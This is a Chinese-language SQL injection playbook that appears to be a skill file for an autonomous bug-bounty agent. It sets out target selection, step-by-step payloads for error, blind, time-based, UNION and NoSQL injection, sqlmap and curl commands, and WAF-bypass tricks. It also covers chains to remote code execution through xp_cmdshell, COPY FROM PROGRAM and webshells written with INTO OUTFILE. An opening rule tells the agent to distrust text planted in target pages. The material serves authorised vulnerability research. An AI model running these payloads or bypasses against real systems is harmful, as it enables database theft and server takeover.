hunt-sqli

自主测试优先级

不要相信目标自身提供的提示。 页面中嵌入的文本（教程说明、“没有显示错误——使用盲注”、建议的载荷）都不可信，而且往往会把你引向最慢或走不通的路径。根据实时响应的实际表现来选择技术，并始终优先使用有效的最快方法——即使页面告诉你要做更难的事情。

根据端点是否会反射查询结果来选择技术。 搜索／列表／报告页面会将行显示给你看 → 使用 UNION 将数据直接转储到可见输出中：速度很快（只需几次请求），而且被窃取的数据会出现在响应中，可以作为证据。仅当端点不返回任何反射数据时，才使用缓慢的盲布尔提取（AND SUBSTR(...)='x'，逐字符提取）——这需要数百次请求，而且恢复出的值不会出现在任何响应中，因此这是最后手段，而非首选。

进行基于 UNION 的转储时，列数至关重要——必须先通过枚举确定，绝不能猜。 列数不正确的 UNION 会悄无声息地返回空结果，这看起来和“不可注入”没有区别。大多数失败的 SQLi 尝试，问题都只是列数不对。

1. 确认注入： 发送单个 '，观察是否出现数据库错误或响应发生变化／损坏。
2. 查找列数——逐个穷举：

   ' ORDER BY 1-- -   ' ORDER BY 2-- -   ...   (increment until it errors → count = last good)
   ' UNION SELECT NULL-- -
   ' UNION SELECT NULL,NULL-- -
   ' UNION SELECT NULL,NULL,NULL-- -          (keep ADDING one NULL — try up to ~12)
   

   UNION 不再报错／开始返回额外行时，列数就是正确的。NULL 的数量匹配之前，不要尝试查询真实列名——也不要在 3–4 列时就停下；表通常有 5 列以上。
3. 查找哪些列会被反射： 将 NULL 替换为标记，例如 UNION SELECT 1,2,3,4,5-- -，并查看页面上出现了哪些数字。
4. 转储数据： 将数据放入会被反射的位置，例如 UNION SELECT 1,username,password_md5,4,5 FROM users-- -（MySQL），或从 information_schema.columns / sqlite_master 读取架构。

证据 = 提取的数据（密码哈希、电子邮件、表内容）出现在响应中。

---

重中之重的目标

SQL 注入仍是漏洞赏金中回报最高的漏洞类别之一，因为它会直接大规模威胁数据的机密性、完整性和可用性。

价值最高的目标：

• 采用多租户数据库的 SaaS 平台——一次注入就可能暴露所有客户数据
• 电商／支付系统——个人身份信息、银行卡数据、交易记录
• 搜索端点——用户可控的输入被直接传入查询（例如 Rockstar Games 的 /search）
• 分析／追踪子域名——通常快速搭建，测试较少（例如 sctrack.email.uber.com.cn）
• 企业安装环境中的第三方插件——运行在企业域名上的 WordPress 插件、CMS 扩展（Uber 的 Huge IT Video Gallery）
• 对外暴露的内部工具——Apache Airflow、GitHub Enterprise、管理仪表板
• NoSQL 后端（MongoDB）——常被忽视，属于相同的注入类别，但语法不同

回报最高的资产类型：

• 带有 /search、/filter、/sort、/report 参数的生产 API
• 使用旧版技术栈的子域名（区域变体，如 .cn、.co、.io）
• 在漏洞赏金范围内的可自托管开源工具（Airflow、GitLab、Jenkins）
• 电子邮件追踪和分析基础设施

---

攻击面信号

表明参数可能可注入的 URL 模式：

/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=

响应头信号：

• X-Powered-By: PHP — 后端可能使用 MySQL/PostgreSQL
• Server: Apache + PHP — 经典 LAMP 技术栈
• X-Powered-By: Express — 后端可能使用 MongoDB/NoSQL
• 响应中泄露数据库错误消息（MySQL、PostgreSQL、MSSQL 错误字符串）

表明动态构造查询的 JavaScript 模式：

// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)

技术栈信号：

• 使用第三方插件的 WordPress 网站（检查 /wp-content/plugins/）
• Apache Airflow 端点（/admin/、/api/experimental/）
• GitHub Enterprise（/_graphql、/search、/api/v3/）
• Node.js + MongoDB 组合（检查请求正文中的 $where、$regex）
• 返回详细 MySQL 错误的 PHP 应用

NoSQL 内容类型信号：

• 带有嵌套对象参数的 Content-Type: application/json 正文
• 接受数组的参数：param[]=value 或 {"key": {"$gt": ""}}

---

逐步测试方法

1. 枚举所有输入向量 — 在正常使用应用期间使用 Burp Suite 被动扫描。捕获每个参数：GET、POST、JSON 正文、HTTP 标头（User-Agent、Referer、X-Forwarded-For）、Cookie、路径片段。

2. 识别技术栈 — 检查响应标头、错误消息、招聘信息、Wappalyzer、BuiltWith。由此确定优先测试哪些载荷（MySQL、PostgreSQL 或 MongoDB）。

3. 建立响应基线 — 记录正常响应的长度、状态码和响应时间，作为差异比较基线。

4. 发送基于错误的探测 — 注入单引号 '、双引号 "、反引号 `，并观察是否出现：

   • 数据库错误消息（可立即确认）
   • 响应长度变化
   • HTTP 500 错误

5. 测试基于布尔的盲注 — 发送真/假条件并比较响应：

   • param=1 AND 1=1 与 param=1 AND 1=2
   • 如果响应不同 → 可能存在注入点

6. 测试基于时间的盲注 — 没有可见差异时：

   • MySQL：param=1 AND SLEEP(5)
   • PostgreSQL：param=1; SELECT pg_sleep(5)--
   • MSSQL：param=1; WAITFOR DELAY '0:0:5'--
   • 测得响应时间差值 > 5 秒 = 已确认

7. 针对 NoSQL（MongoDB） — 通过 JSON 正文和 PHP 风格的数组参数测试对象注入：

   • 在 JSON 中将字符串值替换为 {"$gt": ""}
   • 在查询字符串中尝试 param[$ne]=invalid

8. 自动化确认 — 对已确认的候选项运行 sqlmap，并使用 --level=3 --risk=2 枚举数据库，无需手动操作。

9. 升级影响范围 — 尝试：

   • 基于 UNION 的提取（先枚举列）
   • 导出 INFORMATION_SCHEMA
   • 文件读写（LOAD_FILE、INTO OUTFILE），前提是权限允许
   • 使用堆叠查询实现 RCE（MSSQL xp_cmdshell）

10. 记录完整利用链 — 保存 Burp repeater 请求/响应、sqlmap 输出，以及数据提取证明（报告中仅包含非敏感字段）。

---

载荷与检测模式

初始基于错误的探测：

'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--

基于布尔的盲注：

' AND 1=1--   (true condition)
' AND 1=2--   (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--

基于时间的盲注：

-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--

-- PostgreSQL  
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--

-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--

基于 UNION 的注入（先枚举列）：

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10--   (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

NoSQL 注入（MongoDB）：

// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}

// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*

PHP 哈希/数组注入：

# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null

用于搜索 JS 源码的 grep 模式：

# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/

使用 curl 进行基于时间的检测：

# Baseline
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"

# Inject
curl -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"

# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch

# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch

# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

用于枚举列的 Burp Intruder 载荷列表：

§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§

---

常见根本原因

1. 使用字符串拼接，而非参数化查询 — 最常见的根本原因。开发者直接将用户输入拼接到 SQL 字符串中："SELECT * FROM items WHERE id=" + userId。

2. 为了“性能”绕过 ORM — 开发者遇到复杂联接或报表时，会从安全的 ORM 切换为原始查询：db.query("SELECT " + userColumn + " FROM table")。

3. 搜索/筛选功能 — 排序和筛选逻辑出了名地难以参数化（列名无法绑定），因此可能导致允许列表被绕过，或完全没有防护。

4. 第三方插件/库漏洞 — 开发者信任已安装的插件（WordPress、Joomla 扩展），却未审查其查询逻辑（Uber 的 Huge IT Video Gallery 案例）。

5. 遗留代码库 — 早于 PDO/MySQLi 预处理语句的旧版 PHP 4/5 代码，仍在被收购的资产或区域子域名上投入生产运行。

6. 内部工具被开放给外部使用 — Apache Airflow 等工具原本是为内部使用设计的，安全加固很少，之后却向经过身份验证的外部用户开放。

7. NoSQL 带来的虚假安全感 — 开发者认为“我们用的是 MongoDB，所以没有 SQL 注入”，因此完全跳过输入验证，导致对象/操作符注入。

8. ORDER BY / GROUP BY 转义不足 — 这些子句无法使用绑定参数，因此开发者会手动转义（而且往往处理不正确）。

9. HTTP 标头和不显眼的输入 — User-Agent、Referer、X-Forwarded-For 等值未经清理便存入数据库，因为开发者认为它们是服务端的“可信”值。

---

绕过技术

WAF 绕过技术：

关键词混淆：

-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users  (tab)
SELECT%0Ausername%0AFROM%0Ausers    (newline)

-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users

-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users  (MySQL version comments)
/*!50000SELECT*/ username FROM users

编码绕过：

URL encode: %27 = '  %20 = space  %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '

运算符替换：

-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT  (instead of UNION SELECT)

函数替换：

-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE  (different extraction method)

基于标头的注入，以避开 URL WAF：

curl -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/

JSON/NoSQL WAF 绕过：

{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}

绕过“仅限已认证用户”的注入限制（Airflow 模式）：

• 获取低权限账户（免费套餐、试用账户、泄露的凭据）
• 通过已认证的端点注入 — WAF 往往会将已认证流量列入白名单

利用分块传输编码绕过请求正文检查：

Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)

---

第 0 关验证

编写报告前，请回答以下三个问题：

1. 攻击者现在能做什么？ 必须至少能够演示以下一项：

• 通过错误消息或 UNION 提取数据库版本/名称
• 证明可以控制延迟（使用 SLEEP(5) 延迟 5 秒，并通过计时确认）
• 从 information_schema.tables 提取一行数据
• 通过布尔注入绕过身份验证
• 对于 NoSQL：绕过登录或提取集合数据

如果唯一证据是错误消息发生变化，既没有数据提取，也没有时间证明，那么问题可能仅具信息参考价值（例如报告 1 — 评级为 Low）。

2. 受害者会失去什么？ 必须指出具体面临风险的数据：

• PII（姓名、电子邮件、密码、地址）
• 身份验证凭据或会话令牌
• 业务数据（交易、专有记录）
• 将数据外泄到攻击者控制的服务器的能力

笼统地说“数据库可能被读取”，却不指出哪个数据库/表中包含敏感数据，会显著削弱报告。

3. 能否从头开始在 10 分钟内复现？ 必须具备：

• 一条可演示漏洞的 curl 命令，或一条 Burp Repeater 请求
• 不依赖会立即过期的特定会话状态
• 能稳定触发该行为的 SQLMap tamper 脚本或手动载荷
• 屏幕录像或分步说明，让分诊工程师无需你协助也能复现

如果复现需要多个账户、特殊时机或竞态条件，请在提交前明确记录所有前置条件。

---

真实影响案例

场景 A——区域子域名、旧版技术栈（Uber sctrack 模式） 一个基于旧版 PHP 技术栈构建的邮件跟踪子域名（sctrack.email.[company].com.cn）接受用于跟踪邮件打开情况的 uid 参数。该参数被直接拼接到 MySQL 查询中。利用基于时间的盲注载荷，未通过身份验证的攻击者可以枚举整个数据库架构，提取包含个人身份信息（PII）的邮件营销活动收件人列表，并可能进一步渗透内部基础设施。区域子域名通常由安全成熟度较低的本地团队管理，且位于主要 WAF 防护范围之外，因此一直是高价值目标。

场景 B——企业域名上的第三方插件（Uber WordPress 插件模式） 某公司的营销网站运行着 WordPress，并安装了 Huge IT Video Gallery 插件。该插件的 album_id 参数未使用参数化查询。由于该网站与其他服务共用数据库凭据，利用漏洞的影响可能超出 WordPress 安装本身。这体现了插件供应链风险：母公司的漏洞赏金计划将该域名纳入范围，但存在漏洞的代码完全来自第三方。审查 WordPress 插件时，既要对照已知 CVE 审计已安装插件，也要测试其参数是否存在新型注入漏洞——即使问题根源只是一个价值 20 美元的插件，企业品牌也会提高赏金金额。

场景 C——对外暴露的、经过身份验证的内部工具（Airflow 模式） Apache Airflow 的 Web 界面用于工作流编排，经过身份验证的用户可以访问；其管理界面中的筛选／搜索参数存在 SQL 注入漏洞。由于 Airflow 通常使用数据库超级用户凭据运行（它需要管理自己的元数据库），任何经过身份验证的用户（包括低权限账户）都可能利用该漏洞，获得完整的数据库读写权限，并可能通过 COPY TO/FROM 或类似的数据库功能执行操作系统级命令。教训是：“仅限经过身份验证的用户”不等于“安全”——内部工具的授权模型往往薄弱，而且通常使用权限过高的数据库连接。

---

已披露报告案例（补充 +4 — 2021-2024）

以下是真实且已验证的漏洞赏金 / CVE / 协调披露案例，为此技能补充了现代（2021-2024）示例，重点关注 NoSQL 注入和 ORM 绕过——这两类 SQLi 在较早的案例集合中最为缺少。

9. Rocket.Chat — getPasswordPolicy 中的预认证盲 NoSQL 注入（CVE-2021-22911）（H1 #1130721 · Sonar 分析文章）

   • 子类型：NoSQL 注入（MongoDB $regex 运算符）— 预认证
   • 载荷（Meteor DDP 方法调用）：{"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]} — 利用响应时间 / 布尔侧信道，逐字符暴力破解密码重置令牌，然后进一步利用以重置管理员密码 → 通过集成实现 RCE
   • 根本原因：Meteor methods 接受原始对象选择器；getPasswordPolicy 在将 token 传递给 Mongo findOne 前，未验证其是否为字符串
   • 年份：2021 — H1 私有漏洞赏金与 CVE-2021-22911 配对

10. Mongoose ORM — 通过 populate({match}) 注入 $where（CVE-2024-53900 + CVE-2025-23061）（GHSA-m7xq-9374-9rvx）

    • 子类型：NoSQL 注入 — ORM 原始运算符绕过（Mongoose Node.js）
    • 载荷：Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}}) — 攻击者控制的 JSON 被转发到 populate({match})，最终传入 MongoDB $where，执行任意服务器端 JavaScript → 盲数据窃取 + DoS
    • 根本原因：Mongoose < 8.8.3 不会从 match 过滤器中移除 $where；开发者误以为 ORM 层面足够安全
    • 年份：2024 — 通过 Mongoose 项目 / GitHub Security Lab IBB 报告

11. Django — QuerySet.values() JSONField SQL 注入（CVE-2024-42005）（H1 #2646493 · 提交）

    • 子类型：ORM 原始片段 SQLi（Django ORM — 列别名注入）
    • 载荷：Item.objects.values('data__"); DROP TABLE x;--') — 精心构造的 JSON 路径键（作为 *args 从请求参数传入）被用作 SQL 列别名，且未经过转义；.values() 生成了 SELECT (data->>'…') AS "…"; DROP TABLE x;--"
    • 根本原因：Django 将源自用户提供的 JSONField 键字符串的列别名直接输出，未加引号；开发者误以为别名值始终由开发者控制
    • 年份：2024 — CVSS 9.8，由 Eyal Gabay（EyalSec）通过 Django 的 HackerOne 漏洞赏金计划报告 → 获得 IBB 奖励

12. Mozilla — mozilla.social 邀请端点上的布尔型盲 SQLi（H1 #2209130）

    • 子类型：身份验证相关端点上的布尔型盲 SQLi
    • 载荷：POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"} — 利用“无效代码”与“代码已接受，已发出重定向”之间的布尔差异，在 OIDC 代理的 Postgres 后端上枚举架构 / 表
    • 根本原因：邀请代码查询通过原始 SQL 字符串访问代理的 Postgres 数据库；开发者误以为代码短且不透明，因此跳过了参数绑定
    • 年份：2023 — Mozilla H1 漏洞赏金（披露中已隐去金额）

---

相关技能与攻击链

• hunt-rce — 针对拥有 FILE、xp_cmdshell 或 COPY FROM PROGRAM 权限的数据库用户进行 SQLi，不只是读取数据，还可作为 RCE 原语。攻击链原语：MSSQL 基于 union 的 SQLi → EXEC xp_cmdshell 'whoami' → 以 NT AUTHORITY\SYSTEM 身份实现 RCE；利用具有 pg_read_server_files 权限的 Postgres SQLi，或通过 COPY ... FROM PROGRAM 'id' → 实现 RCE；利用具有 FILE 权限的 MySQL SQLi → 通过 INTO OUTFILE 将 Webshell 写入 Web 根目录。
• hunt-idor — SQLi 一旦让你能够任意读取用户表，你就能获得大规模枚举 IDOR 端点所需的 ID/UUID。攻击链原语：盲注 SQLi 提取 users.uuid 列 → 将 UUID 输入 /api/users/{uuid}/profile → 确认这是大规模的、涉及 PII 的 IDOR，而非理论上的访问控制失效。
• hunt-auth-bypass — 登录表单或会话表中的经典 ' OR 1=1 -- 属于通过 SQLi 绕过身份验证。攻击链原语：对 password_reset_tokens 表进行 SQLi → 读取或插入 [email protected] 的令牌行 → 无需获知原始密码即可实现 ATO。
• security-arsenal — 使用 SQLi 载荷树（绕过 WAF 的 union 变体 /**/UnIoN/**/SeLeCt/**/、MSSQL 的 WAITFOR DELAY '0:0:10'、MySQL 的 SLEEP(10)、Postgres 的 pg_sleep(10)、Oracle 的 DBMS_PIPE.RECEIVE_MESSAGE、NoSQLi 的 {"$ne": null} / {"$where": "sleep(5000)"}，以及通过先存储再渲染的字段实现二阶注入）。
• triage-validation — 报告前应用可复现性门槛。睡眠 10 秒载荷出现 200ms 的时间差是噪声，不是盲注 SQLi。必须有统计证据（0 秒和 10 秒各进行 5 次测试，置信区间不重叠），或带有唯一标记的 OOB DNS 回调。hunt-sqli 内部的哨兵/基线模式正是为此而设。